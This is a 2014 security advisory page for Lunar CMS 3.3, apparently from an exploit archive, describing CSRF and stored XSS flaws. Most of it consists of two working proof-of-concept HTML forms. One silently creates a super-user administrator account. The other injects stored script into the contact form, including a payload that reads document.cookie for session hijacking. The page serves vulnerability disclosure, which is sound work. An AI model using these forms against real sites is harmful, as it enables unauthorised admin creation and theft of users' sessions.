Lunar CMS 3.3 CSRF And Stored XSS Vulnerability

2014-06-22 / 2014-07-04
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<!-- Lunar CMS 3.3 CSRF And Stored XSS Vulnerability Vendor: Lunar CMS Product web page: Affected version: 3.3 Summary: Lunar CMS is a freely distributable open sourcecontent management system written for use on servers running the ever so popular PHP5 & MySQL. Desc: Lunar CMS suffers from a cross-site request forgery and a stored xss vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to the 'subject' and 'email' POST parameters thru the 'Contact Form' extension/module is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache/2.4.7 (Win32) PHP/5.5.6 MySQL 5.6.14 Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2014-5188 Advisory URL: 11.06.2014 --> CSRF Add Admin =============== <html> <body> <form action="http://localhost/lunarcms/admin/user_create.php" method="POST"> <input type="hidden" name="name" value="Hacker" /> <input type="hidden" name="email" value="lab&#64;zeroscience&#46;mk" /> <input type="hidden" name="password1" value="251ftw" /> <input type="hidden" name="password2" value="251ftw" /> <input type="hidden" name="access" value="0" /> <input type="hidden" name="Submit" value="submit" /> <input type="submit" value="Submit form" /> </form> </body> </html> Access levels: 0: Super user 1: Admin 2: Website only CSRF Stored XSS (Session Hijack) ================================= <html> <body> <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&top" method="POST"> <input type="hidden" name="email" value='"><script>alert(1);</script>' /> <input type="hidden" name="error" value="2" /> <input type="hidden" name="sent" value="1" /> <input type="hidden" name="subject" value='"><script>var x = new Image();x.src=''+document.cookie;</script>' /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="Submit form" /> </form> </body> </html>


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